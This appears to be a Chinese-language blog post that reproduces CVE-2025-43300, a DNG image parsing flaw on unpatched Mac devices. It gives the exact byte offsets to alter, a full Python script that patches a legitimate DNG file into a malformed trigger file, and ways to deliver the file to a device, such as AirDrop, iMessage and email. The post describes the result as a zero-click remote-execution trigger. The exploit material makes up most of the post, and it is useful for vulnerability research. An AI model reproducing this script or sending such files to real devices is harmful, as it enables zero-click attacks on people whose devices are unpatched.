CVE-2025-43300复现

CVE-2025-43300复现

复现CVE-2025-43300漏洞的具体步骤如下:

环境准备

  1. 搭建测试设备

    需要一台未打补丁的MAC设备,确认其能加载并解析DNG图片。

  2. 获取合法的DNG图片文件

    从真实相机或公开测试用图像库中获取合法的DNG格式文件,作为基线样本。

制作漏洞触发文件

  1. 修改DNG文件中的特定位点

    使用二进制编辑工具(如Hex Editor、Python脚本)打开合法的DNG文件。

    将偏移地址0x2FD00处的字节从0x01修改为0x02。

    将偏移地址0x3E40B处的字节从0x02修改为0x01。

    也可使用简易Python脚本:

    1
    python CVE-2025-43300-poc.py demo.DNG

    提供脚本如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    #!/usr/bin/env python3
    # -*- coding: utf-8 -*-

    import argparse
    from pathlib import Path
    import shutil
    import os
    import sys

    CHANGES = [
    (0x2FD00, 0x01, 0x02),
    (0x3E40B, 0x02, 0x01),
    ]

    def patch_file(path: Path, changes, force: bool, backup: bool):
    if not path.exists() or not path.is_file():
    print(f"[!] 文件不存在:{path}")
    return 1

    size = path.stat().st_size
    print(f"[*] 目标文件: {path} ({size} bytes)")

    # 备份
    backup_path = path.with_suffix(path.suffix + ".bak")
    if backup:
    shutil.copy2(path, backup_path)
    print(f"[*] 已创建备份: {backup_path}")

    modified = 0
    with open(path, "r+b") as f:
    for off, old_b, new_b in changes:
    if off < 0 or off >= size:
    print(f"[!] 偏移超出文件范围: 0x{off:X} (size={size}),跳过")
    continue

    f.seek(off)
    cur = f.read(1)
    if not cur:
    print(f"[!] 无法读取偏移 0x{off:X},跳过")
    continue

    cur_val = cur[0]
    if cur_val != old_b and not force:
    print(f"[!] 偏移 0x{off:X} 校验失败:期望 0x{old_b:02X},实际 0x{cur_val:02X},未修改(使用 --force 可强制写入)")
    continue

    f.seek(off)
    f.write(bytes([new_b]))
    print(f"[+] 写入完成 @0x{off:X}: 0x{cur_val:02X} -> 0x{new_b:02X}")
    modified += 1

    if modified == 0:
    print("[i] 没有任何偏移被修改。")
    else:
    print(f"[✓] 共修改 {modified} 处。")

    return 0 if modified > 0 else 2

    def main():
    parser = argparse.ArgumentParser(
    description="按指定偏移修改 DNG 字节(含校验与备份)"
    )
    parser.add_argument("file", help="要修改的 DNG 文件路径")
    parser.add_argument("--force", action="store_true", help="忽略原字节校验,强制写入")
    parser.add_argument("--no-backup", action="store_true", help="不创建 .bak 备份文件")

    args = parser.parse_args()
    path = Path(args.file)

    rc = patch_file(path, CHANGES, force=args.force, backup=not args.no_backup)
    sys.exit(rc)

    if __name__ == "__main__":
    main()

触发漏洞

  1. 传输漏洞文件到测试设备

    通过AirDrop、iMessage、邮件附件等途径发送exploit.dng文件到测试设备。

    也可以直接在设备上用应用打开该DNG文件。

  2. 观察设备响应

    设备在自动解析该DNG图片时,如果未打补丁,可能引发内存损坏,导致异常行为,此时可以看到预览崩溃。

注意事项

此漏洞为零点击远程执行,文件一旦被处理即触发,无需用户交互。


CVE-2025-43300复现
https://erkangkang.github.io/2025/08/28/CVE-2025-43300复现/
作者
尔康康康康
发布于
2025年8月28日
许可协议